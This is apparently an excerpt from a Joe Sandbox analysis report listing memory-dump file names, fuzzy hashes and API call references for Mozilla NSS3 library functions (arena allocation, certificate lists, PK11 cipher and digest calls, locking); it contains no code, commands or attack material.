Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: fb4b1c8942cc8f114eb2734a65e3f1b46e84349f5f02cf3f6357d1c9548981c8
Instruction ID: 9841c128c811e389a615b0291d67d01297d9e43baa8f9b3a32c73b9e825a1bf3
Opcode Fuzzy Hash: fb4b1c8942cc8f114eb2734a65e3f1b46e84349f5f02cf3f6357d1c9548981c8
Instruction Fuzzy Hash: 005104B1F002559BDB188E98C9807AFB7B5FB49318F280229DD66B7B40D332AD01CBD4

Function 6C5BDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5BDF37
EnterCriticalSection.KERNEL32(?), ref: 6C5BDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C5BE02B
PR_Unlock.NSS3(?), ref: 6C5BE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5BE090
PR_Unlock.NSS3(?), ref: 6C5BE0AF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 60b115cc9c4bb3b91a7786b132fdbd41bfff5ad000a19b59b62daea497afa36d
Instruction ID: 368c0c1cb94b3c6814665407ffa8e465aa53420a5710417e0d73b74e5c29ea8e
Opcode Fuzzy Hash: 60b115cc9c4bb3b91a7786b132fdbd41bfff5ad000a19b59b62daea497afa36d
Instruction Fuzzy Hash: 81510030604604DFEB20DF28DCA4B667BB1FF44308F244A68E85A67B91D771E848CB92

Function 6C5BBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5BBD1E

Part of subcall function 6C592F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C592F0A
Part of subcall function 6C592F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C592F1D

Part of subcall function 6C5D57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C59B41E,00000000,00000000,?,00000000,?,6C59B41E,00000000,00000000,00000001,?), ref: 6C5D57E0
Part of subcall function 6C5D57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C5D5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5BBD8C

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C5BBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C5BBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5BBE3A

Part of subcall function 6C593E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C593EC2
Part of subcall function 6C593E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C593ED6
Part of subcall function 6C593E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C593EEE
Part of subcall function 6C593E60: PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C593F02
Part of subcall function 6C593E60: PL_FreeArenaPool.NSS3 ref: 6C593F14
Part of subcall function 6C593E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C593F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5BBE52

Part of subcall function 6C592E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C592CDA,?,00000000), ref: 6C592E1E
Part of subcall function 6C592E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C592E33
Part of subcall function 6C592E00: TlsGetValue.KERNEL32 ref: 6C592E4E
Part of subcall function 6C592E00: EnterCriticalSection.KERNEL32(?), ref: 6C592E5E
Part of subcall function 6C592E00: PL_HashTableLookup.NSS3(?), ref: 6C592E71
Part of subcall function 6C592E00: PL_HashTableRemove.NSS3(?), ref: 6C592E84
Part of subcall function 6C592E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C592E96
Part of subcall function 6C592E00: PR_Unlock.NSS3 ref: 6C592EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5BBE61

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 91691c7fa6fcb78706358d49ea1323f214588c14b552a4acf26df5721045aa59
Instruction ID: 4cd240f378154e2c194fadaf041a0c282a5c78945b87d599917a66c09727e464
Opcode Fuzzy Hash: 91691c7fa6fcb78706358d49ea1323f214588c14b552a4acf26df5721045aa59
Instruction Fuzzy Hash: 4141C0B6A00210EFC710DF28DCC0B6A7BE5EB89718F104568F949AB711E771ED18CB92

Function 6C5DAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C5DAB3E,?,?,?), ref: 6C5DAC35

Part of subcall function 6C5BCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C5BCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5DAB3E,?,?,?), ref: 6C5DAC55

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5DAB3E,?,?), ref: 6C5DAC70

Part of subcall function 6C5BE300: TlsGetValue.KERNEL32 ref: 6C5BE33C
Part of subcall function 6C5BE300: EnterCriticalSection.KERNEL32(?), ref: 6C5BE350
Part of subcall function 6C5BE300: PR_Unlock.NSS3(?), ref: 6C5BE5BC
Part of subcall function 6C5BE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C5BE5CA
Part of subcall function 6C5BE300: TlsGetValue.KERNEL32 ref: 6C5BE5F2
Part of subcall function 6C5BE300: EnterCriticalSection.KERNEL32(?), ref: 6C5BE606
Part of subcall function 6C5BE300: PORT_Alloc_Util.NSS3(?), ref: 6C5BE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C5DAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5DAB3E), ref: 6C5DACD7
PORT_Alloc_Util.NSS3(?), ref: 6C5DAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C5DAD2B

Part of subcall function 6C5BF360: TlsGetValue.KERNEL32(00000000,?,6C5DA904,?), ref: 6C5BF38B
Part of subcall function 6C5BF360: EnterCriticalSection.KERNEL32(?,?,?,6C5DA904,?), ref: 6C5BF3A0
Part of subcall function 6C5BF360: PR_Unlock.NSS3(?,?,?,?,6C5DA904,?), ref: 6C5BF3D3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d2ec803d6bee7949ed1b4946952957ffedf2bd847d317265deef50f4bc679b56
Instruction ID: 809440c49e027046deba953cd454a03451a709ee152c165cbe520d6898d78780
Opcode Fuzzy Hash: d2ec803d6bee7949ed1b4946952957ffedf2bd847d317265deef50f4bc679b56
Instruction Fuzzy Hash: 553129B1E002059FEB00DF69DC419AF7766AFD4328B198528F81597750EB31EC1587A5

Function 6C5B8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5B8C7C

Part of subcall function 6C659DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DC6
Part of subcall function 6C659DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DD1
Part of subcall function 6C659DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C659DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B8CB0
TlsGetValue.KERNEL32 ref: 6C5B8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C5B8CE5
PR_Unlock.NSS3(?), ref: 6C5B8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C5B8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B8D93

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 40cab7449266e4db8bc26ed98451e23fbf19af77195857285e6396b48d0db660
Instruction ID: a3f70b2e39e95a300a446851b6ea6424bcd7518f44d42d04d55f6f9044b52568
Opcode Fuzzy Hash: 40cab7449266e4db8bc26ed98451e23fbf19af77195857285e6396b48d0db660
Instruction Fuzzy Hash: BF314871A01612AFD7009F69DC407AA7BB0BF55318F14123BEA1A77B50D770B924C7C6

Function 6C5F9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C5F9C5B), ref: 6C5F9D82

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C5F9C5B), ref: 6C5F9DA9

Part of subcall function 6C5F1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F136A
Part of subcall function 6C5F1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F137E
Part of subcall function 6C5F1340: PL_ArenaGrow.NSS3(?,6C58F599,?,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?), ref: 6C5F13CF
Part of subcall function 6C5F1340: PR_Unlock.NSS3(?,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C5F9C5B), ref: 6C5F9DCE

Part of subcall function 6C5F1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C5F13F0
Part of subcall function 6C5F1340: PL_ArenaGrow.NSS3(?,6C58F599,?,?,?,00000000,00000000,?,6C59895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C5F1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C5F9C5B), ref: 6C5F9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C5F9C5B), ref: 6C5F9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C5F9C5B), ref: 6C5F9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C5F9C5B), ref: 6C5F9E91

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

Part of subcall function 6C5F1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C5EFAAB,00000000), ref: 6C5F157E
Part of subcall function 6C5F1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5EFAAB,00000000), ref: 6C5F1592
Part of subcall function 6C5F1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C5F1600
Part of subcall function 6C5F1560: PL_ArenaRelease.NSS3(?,?), ref: 6C5F1620
Part of subcall function 6C5F1560: PR_Unlock.NSS3(?), ref: 6C5F1639

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: a60e16c09da36cfa6d4cdc9121e5ef65d461af63ec875c125078cf0c1de96032
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 364151B4601A06AFE744DF15DC40B92B7A5FF45358F548128D9284BFA1EB72E835CF90

Function 6C5BDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5BDDEC

Part of subcall function 6C5F0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C5BDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C5BDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C5BDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C5BDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5BDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BDECC

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 01eb91b569ddc16ac93c1a0077913909f4e9eb797358f18c891d67a82fdfd8dd
Instruction ID: 275ba886a1841665c60db4842b28465dde748af379bef2c9d8e0a218248fac54
Opcode Fuzzy Hash: 01eb91b569ddc16ac93c1a0077913909f4e9eb797358f18c891d67a82fdfd8dd
Instruction Fuzzy Hash: 2231C9B2900214ABDB00AF65AC51BBB7AA89F95608F050175FD09B7705FB31DD18C6E2

Function 6C597E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C597E48

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C597E5B

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C597E7B

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6B925C,?), ref: 6C597E92

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C597EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C597ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C597EFA

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: f22c4feb712f5bc2dd48d4d1fd9ee19fcfd00430055cd534880175a35f97cb8f
Instruction ID: f6e7426ec42b8f983a318a78bf0cf7941689210d2cc1727915221ce45319e9b2
Opcode Fuzzy Hash: f22c4feb712f5bc2dd48d4d1fd9ee19fcfd00430055cd534880175a35f97cb8f
Instruction Fuzzy Hash: D931B5B2E012519BEB10DB759C40B5777E8AF84698F1949A6DC15EBB01F730FC04CBA0

Function 6C5EDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C5ED9E4,00000000), ref: 6C5EDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C5ED9E4,00000000), ref: 6C5EDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C5ED9E4,00000000), ref: 6C5EDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5EDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5EDCAD

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 963751f38759788c0b25b254b96e636c1e6f0f5d7678a76a01575daa193f278d
Instruction ID: 6cf570af6b713256a89067f6ec012a6bd94f05426dfecff08177f666ff248fb5
Opcode Fuzzy Hash: 963751f38759788c0b25b254b96e636c1e6f0f5d7678a76a01575daa193f278d
Instruction Fuzzy Hash: 0B314DB5A00210DFD750CF1DDC84A56B7F8AFA9398F148429E95CCBB41E772E984CBA1

Function 6C5B2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C5AE728,?,00000038,?,?,00000000), ref: 6C5B2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C5B2E9E
PR_Unlock.NSS3(?), ref: 6C5B2EAB
PR_Unlock.NSS3(?), ref: 6C5B2F0D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: d581615337dded8f3928e083ea06c9f9be589b8e88c56a24b8735a99c37b0e48
Instruction ID: 3f2d07f90eb03f73862a888c77768a732feb90daa288fac4d9e1b99fe08588c1
Opcode Fuzzy Hash: d581615337dded8f3928e083ea06c9f9be589b8e88c56a24b8735a99c37b0e48
Instruction Fuzzy Hash: F63124B5A00105ABEF00AF6AEC9587ABB79EF45258F048165EC08D7A11EB31EC64C7E1

Function 6C5D1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&]l,6C5B6295,?,00000000,?,00000001,S&]l,?), ref: 6C5D1ECB

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&]l,6C5B6295,?,00000000,?,00000001,S&]l,?), ref: 6C5D1EF1
EnterCriticalSection.KERNEL32(?), ref: 6C5D1F01
PR_SetError.NSS3(00000000,00000000), ref: 6C5D1F39

Part of subcall function 6C5DFE20: TlsGetValue.KERNEL32(6C5B5ADC,?,00000000,00000001,?,?,00000000,?,6C5ABA55,?,?), ref: 6C5DFE4B
Part of subcall function 6C5DFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5DFE5F

PR_Unlock.NSS3(?), ref: 6C5D1F67

Strings

S&]l, xrefs: 6C5D1EA0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
